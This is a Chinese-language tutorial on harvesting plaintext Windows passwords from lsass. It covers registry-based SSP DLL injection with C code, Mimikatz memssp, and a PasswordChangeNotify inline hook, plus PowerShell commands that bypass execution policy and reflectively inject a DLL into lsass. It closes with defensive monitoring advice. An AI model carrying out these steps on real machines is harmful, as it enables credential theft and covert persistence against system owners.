关于抓取明文密码的探究
字数 2127 2025-08-07 08:21:50

Windows 明文密码抓取技术探究

1. 基础知识

1.1 SSP与SSPI

SSP (Security Support Provider) 是Windows操作系统安全机制的提供者,本质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括:

  • NTLM
  • Kerberos
  • Negotiate
  • Secure Channel (Schannel)
  • Digest
  • Credential (CredSSP)

SSPI (Security Support Provider Interface) 是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。

1.2 LSA与相关进程

  • lsass.exewinlogon.exe 是管理登录的两个关键进程
  • 它们都包含在 LSA (Local Security Authority)
  • LSA主要负责运行Windows系统安全策略
  • SSP在Windows启动后会被加载到lsass.exe进程中

2. SSP DLL注入技术

2.1 技术原理

利用SSP加载机制,有两种主要思路:

  1. 删除任意SSP DLL以便与lsass进程交互
  2. 伪造SSP DLL来提取用户登录时的明文密码

2.2 注册表修改方法

关键注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

实现步骤

  1. 使用RegOpenKeyWRegSetValueExWAPI修改注册表
  2. 将自定义DLL路径写入Security Packages值

示例代码

DWORD InjectSSP(LPWSTR filepath) {
    HKEY hKey;
    LPCWSTR KeyName;
    LPCWSTR ValueName;
    DWORD dwDisposition;
    
    KeyName = L"SYSTEM\\CurrentControlSet\\Control\\Lsa";
    
    if (ERROR_SUCCESS != ::RegOpenKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
        printf("[!] The key is not found,the registry entry creation operation is performed\n\n");
        if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
            printf("[!] Create regedit failed, error is:%d\n\n", GetLastError());
            return FALSE;
        } else {
            printf("[*] Create regedit successfully!\n\n");
        }
    } else {
        printf("[*] Find the key successfully!\n\n");
        if (ERROR_SUCCESS != ::RegSetValueExW(hKey, L"Security Packages", 0, REG_MULTI_SZ, (BYTE*)filepath, (::lstrlenW(filepath) + ::lstrlenW(filepath)))) {
            printf("[!] Create key-value failed, error is:%d\n\n", GetLastError());
            return FALSE;
        } else {
            printf("[*] Create key-value successfully!\n\n");
        }
    }
}

注意事项

  • 需要管理员权限
  • 推荐将DLL放在C:\Windows\System32目录下
  • 成功后会生成kiwissp.log文件记录凭据(默认路径:C:\Windows\System32\kiwissp.log)

2.3 Mimikatz的memssp方法

命令

misc::memssp

特点

  • 不需要修改注册表或放置DLL
  • 重启后不会持续存在
  • 记录文件路径:C:\Windows\System32\mimilsa.log

3. Hook PasswordChangeNotify技术

3.1 技术原理

密码修改流程:

  1. 用户输入新密码
  2. LSA调用PasswordFilter检查密码复杂性
  3. 如果符合要求,LSA调用PasswordChangeNotify同步密码
  4. 此过程中密码以明文形式传输

关键点

  • PasswordChangeNotify函数存在于rassfm.dll
  • rassfm.dll(Remote Access Subauthentication dll)仅存在于Server系统
  • 通过Inline Hook获取传输中的明文密码

3.2 实现方法

  1. 使用Inline Hook技术
  2. 通过jmp指令跳转到自定义处理函数
  3. 读取密码后还原到原函数继续执行

关键代码分析

  • 创建vector容器
  • 修改硬编码指向PasswordChangeNotifyHook函数
  • 保存寄存器值(rbx, rbp, rsi)
  • 写入字节码并还原被覆盖的指令
  • 跳转回原函数

密码记录

  • 成功获取密码后,在C:\windows\temp目录下创建passwords.txt

3.3 注入方法

挑战

  • 常规注入方法无法注入系统进程
  • 需要使用Session 0注入技术

推荐方法
使用PowerShell反射加载DLL到lsass进程

步骤

  1. 修改PowerShell执行策略:
    Set-ExecutionPolicy bypass
    
  2. 导入反射加载模块:
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    
  3. 注入DLL:
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

验证
修改密码后,检查C:\windows\temp\passwords.txt文件

4. 技术对比

方法 持久性 隐蔽性 复杂度 适用系统
SSP DLL注册表修改 高(重启有效) 低(需修改注册表) 所有Windows
Mimikatz memssp 低(重启失效) 所有Windows
Hook PasswordChangeNotify 仅Server系统

5. 防御建议

  1. 监控注册表修改:特别是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
  2. 限制lsass.exe进程访问:防止非授权DLL注入
  3. 启用LSA保护:使用Windows Defender Credential Guard
  4. 审计PowerShell使用:监控可疑的反射加载行为
  5. 定期检查系统目录:查找可疑DLL和日志文件
  6. 限制管理员权限:减少攻击面

6. 参考资源

  1. Mimikatz项目
  2. HookPasswordChange示例代码
  3. 反射加载PowerShell脚本
  4. 微软官方SSP文档
Windows 明文密码抓取技术探究 1. 基础知识 1.1 SSP与SSPI SSP (Security Support Provider) 是Windows操作系统安全机制的提供者,本质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括: NTLM Kerberos Negotiate Secure Channel (Schannel) Digest Credential (CredSSP) SSPI (Security Support Provider Interface) 是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。 1.2 LSA与相关进程 lsass.exe 和 winlogon.exe 是管理登录的两个关键进程 它们都包含在 LSA (Local Security Authority) 中 LSA主要负责运行Windows系统安全策略 SSP在Windows启动后会被加载到lsass.exe进程中 2. SSP DLL注入技术 2.1 技术原理 利用SSP加载机制,有两种主要思路: 删除任意SSP DLL以便与lsass进程交互 伪造SSP DLL来提取用户登录时的明文密码 2.2 注册表修改方法 关键注册表项 : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 实现步骤 : 使用 RegOpenKeyW 和 RegSetValueExW API修改注册表 将自定义DLL路径写入Security Packages值 示例代码 : 注意事项 : 需要管理员权限 推荐将DLL放在 C:\Windows\System32 目录下 成功后会生成 kiwissp.log 文件记录凭据(默认路径: C:\Windows\System32\kiwissp.log ) 2.3 Mimikatz的memssp方法 命令 : 特点 : 不需要修改注册表或放置DLL 重启后不会持续存在 记录文件路径: C:\Windows\System32\mimilsa.log 3. Hook PasswordChangeNotify技术 3.1 技术原理 密码修改流程: 用户输入新密码 LSA调用 PasswordFilter 检查密码复杂性 如果符合要求,LSA调用 PasswordChangeNotify 同步密码 此过程中密码以明文形式传输 关键点 : PasswordChangeNotify 函数存在于 rassfm.dll rassfm.dll (Remote Access Subauthentication dll)仅存在于Server系统 通过Inline Hook获取传输中的明文密码 3.2 实现方法 使用Inline Hook技术 通过jmp指令跳转到自定义处理函数 读取密码后还原到原函数继续执行 关键代码分析 : 创建vector容器 修改硬编码指向 PasswordChangeNotifyHook 函数 保存寄存器值(rbx, rbp, rsi) 写入字节码并还原被覆盖的指令 跳转回原函数 密码记录 : 成功获取密码后,在 C:\windows\temp 目录下创建 passwords.txt 3.3 注入方法 挑战 : 常规注入方法无法注入系统进程 需要使用Session 0注入技术 推荐方法 : 使用PowerShell反射加载DLL到lsass进程 步骤 : 修改PowerShell执行策略: 导入反射加载模块: 注入DLL: 验证 : 修改密码后,检查 C:\windows\temp\passwords.txt 文件 4. 技术对比 | 方法 | 持久性 | 隐蔽性 | 复杂度 | 适用系统 | |------|--------|--------|--------|----------| | SSP DLL注册表修改 | 高(重启有效) | 低(需修改注册表) | 中 | 所有Windows | | Mimikatz memssp | 低(重启失效) | 中 | 低 | 所有Windows | | Hook PasswordChangeNotify | 中 | 高 | 高 | 仅Server系统 | 5. 防御建议 监控注册表修改 :特别是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 限制lsass.exe进程访问 :防止非授权DLL注入 启用LSA保护 :使用Windows Defender Credential Guard 审计PowerShell使用 :监控可疑的反射加载行为 定期检查系统目录 :查找可疑DLL和日志文件 限制管理员权限 :减少攻击面 6. 参考资源 Mimikatz项目 HookPasswordChange示例代码 反射加载PowerShell脚本 微软官方SSP文档